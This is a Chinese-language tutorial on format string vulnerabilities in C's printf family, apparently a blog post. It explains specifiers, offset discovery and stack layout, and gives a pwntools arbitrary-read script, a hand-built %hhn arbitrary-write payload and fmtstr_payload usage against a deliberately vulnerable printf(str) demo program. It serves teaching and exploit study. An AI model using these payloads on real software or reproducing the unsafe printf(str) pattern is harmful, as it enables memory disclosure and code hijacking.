格式化字符串漏洞是一种比较常见的漏洞类型,主要是printf.sprintf和fprintf等c库中print家族的函数.先看看printf的函数声明:
int printf(const char* format,...)
这应该是所有人学习的第一个函数了,先是一个字符串指针,他指向一个format字符串,后面是个数可变的参数.在c程序中我们有很多用来格式化字符串的说明符,在这些说明符后面我们可以填充我们自己的内容.最常见的包括:
%d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数
在这众多的格式符中有一个异类需要注意,别的都是用来打印数据的,而%n可以用来把一个int型的值写到制定的地址去.printf一般我们这样使用:
char str[100]; scanf("%s",str); printf("%s",str);
但是如果偷懒写成这样子:
char str[100]; scanf("%s",str); printf(str)
看起来没什么问题,而且运行也很正常,但却产生了一个非常严重的漏洞.
正常情况下
//gcc test.c -o test -m32 #include <stdio.h> int main() { printf("%d %d %d %d %s",1,2,3,0x21,"test"); return 0; }
汇编源码主体是这样:
0x8048424 <main+25> push 0x21 0x8048426 <main+27> push 3 0x8048428 <main+29> push 2 0x804842a <main+31> push 1 0x804842c <main+33> push 0x80484d5 ► 0x8048431 <main+38> call printf@plt <0x80482e0>
运行到这里的时候栈是这样的:
00:0000│ esp 0xffffd760 —▸ 0x80484d5 ◂— and eax, 0x64252064 /* '%d %d %d %d %s' */ 01:0004│ 0xffffd764 ◂— 0x1 02:0008│ 0xffffd768 ◂— 0x2 03:000c│ 0xffffd76c ◂— 0x3 04:0010│ 0xffffd770 ◂— 0x21 /* '!' */ 05:0014│ 0xffffd774 —▸ 0x80484d0 ◂— je 0x8048537 /* 'test' */ 06:0018│ 0xffffd778 —▸ 0xffffd83c —▸ 0xffffd962 ◂— 'HOSTNAME=013c1b5957f3'
本来函数应该按照cdecl函数调用规定从右边函数开始逐个压栈,但是printf是c语言中少有的支持可变参数的库函数.函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底会有多少个参数被压入栈中,所以printf函数要求传入一个format参数以指定参数的数量和类型,然后他就会忠实的按照函数的调用者传入的格式一个一个的打印函数.
那么问题来了,如果我们无意或者有意在format中要求printf函数打印的数据数量大于我们所给的数量会怎么样?下面的代码实验一下:
//gcc test.c -o test -m32 #include <stdio.h> int main() { printf("%d %d %d %d %s %d %d",1,2,3,0x21,"test"); return 0; }
栈的情况和上面的代码除了format不一样之外大致都一样:
00:0000│ esp 0xffffd760 —▸ 0x80484d5 ◂— and eax, 0x64252064 /* '%d %d %d %d %s %p %p\n' */ 01:0004│ 0xffffd764 ◂— 0x1 02:0008│ 0xffffd768 ◂— 0x2 03:000c│ 0xffffd76c ◂— 0x3 04:0010│ 0xffffd770 ◂— 0x21 /* '!' */ 05:0014│ 0xffffd774 —▸ 0x80484d0 ◂— je 0x8048537 /* 'test' */ 06:0018│ 0xffffd778 —▸ 0xffffd83c —▸ 0xffffd962 ◂— 'HOSTNAME=013c1b5957f3' 07:001c│ 0xffffd77c —▸ 0x8048471 (__libc_csu_init+33) ◂— lea eax, [ebx - 0xf8]
编译的时候会有warning,输出为
pwndbg> n 1 2 3 33 test 0xffffd83c 0x8048471
我们只给了五个参数,却让他打印7个数据.printf确实按照我们的意愿打印了七个数据,但多出来的两个却不是我们输入的,而是保存在栈中的另外两个数据.通过这个特性,就有了格式化字符串漏洞
任意地址读需要用到printf的另外一个特性,$操作符.这个操作符可以输出指定位置的参数.利用%n$x这样的字符串就可以获得对应的第n+1个参数的数值(因为格式化参数里边的n指的是格式化字符串对应的第n个输出参数,那么相对于输出函数来说就成了第n+1个).
示例程序:
//gcc test.c -o test -m32 #include <stdio.h> int main(void) { char str[100]; scanf("%s",str); printf(str); return 0; }
首先测一下字符串开头的偏移量:
➜ / ./test AAAA%1$x AAAAffdb0848# ➜ / ./test AAAA%2$x AAAAc2# ➜ / ./test AAAA%3$x AAAAf7e998fb# ➜ / ./test AAAA%4$x AAAAffdefece# ➜ / ./test AAAA%5$x AAAAffa838dc# ➜ / ./test AAAA%6$x AAAA41414141#
由结果可知偏移为6,然后编写脚本:
#coding:utf-8 from pwn import * context.log_level='debug' conn=process('./test') conn.sendline("%7$s"+p32(0x08048000)) print conn.recv()
通过脚本我们读取到了0x08048000地址(即elf文件)的前几字段
➜ / python 1.py [+] Starting local process './test': pid 353 [DEBUG] Sent 0x9 bytes: 00000000 25 37 24 73 00 80 04 08 0a │%7$s│····│·│ 00000009 [*] Process './test' stopped with exit code 0 (pid 353) [DEBUG] Received 0x7 bytes: 00000000 7f 45 4c 46 01 01 01 │·ELF│···│ 00000007
如果程序中含有其他漏洞能够让我们控制eip来反复调用printf函数我们甚至可以把整个elf或者libc拖下来都是可以做到的
任意地址写就要用到上面说的%n了.示例程序:
//gcc test.c -m32 -o test #include <stdio.h> int main(void) { int c = 0; printf("the use of %n", &c); printf("%d\n", c); return 0; }
这个程序中c的值被我们改成了11,但作为代价我们输入了长达11的字符串,如果我们想自定义打印字符段的宽度可以这样写:
//gcc test.c -m32 -o test #include <stdio.h> int main(void) { int c = 0; printf("%.100d%n", c,&c); printf("\nthe value of c: %d\n", c); return 0; }
这样我们就把c的值修改为100了.如果我们想把值修改为0x12345678就真的要回显0x12345678个字符吗?并不是,提供一份表:
这部分来自icemakr的博客 32位 读 '%{}$x'.format(index) // 读4个字节 '%{}$p'.format(index) // 同上面 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 //////////////////////////// 64位 读 '%{}$x'.format(index, num) // 读4个字节 '%{}$lx'.format(index, num) // 读8个字节 '%{}$p'.format(index) // 读8个字节 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 %1$lx: RSI %2$lx: RDX %3$lx: RCX %4$lx: R8 %5$lx: R9 %6$lx: 栈上的第一个QWORD
举个例子,我们希望向0x08048000写入值0x10203040,可以这样构造:
\x00\x80\x04\x08\x01\x80\x04\x08\x02\x80\x04\x08\x03\x80\x04\x08%48c%6$hhn%240c%7$hhn%240c%8$hhn%240c%9$hhn
分解一下就是四个地址加上四个格式化字符
\x00\x80\x04\x08 \x01\x80\x04\x08 \x02\x80\x04\x08 \x03\x80\x04\x08 %48c%6$hhn %240c%7$hhn %240c%8$hhn %240c%9$hhn
即对0x08048000写入16+48=64=0x40
对0x08048001写入0x40+240=304=0x130=0x30
对0x08048002写入0x30+240=288=0x120=0x20
对0x08048003写入0x20+240=272=0x110=0x10
但是这个payload以0x00开头,可以手工调整一下,调换地址与格式化字符的位置,还要改一下n的值.
对于格式化字符串,pwntools有模块fmtstr
docs地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
首先你要写一个能够不断输入格式化字符串来测试的函数:
>>> def exec_fmt(payload): ... p = process(program) ... p.sendline(payload) ... return p.recvall() ... >>> autofmt = FmtStr(exec_fmt) >>> offset = autofmt.offset #此处的offset就是我们需要找的偏移值
>>> fmtstr_payload(6, {0x08048000:0x10203040})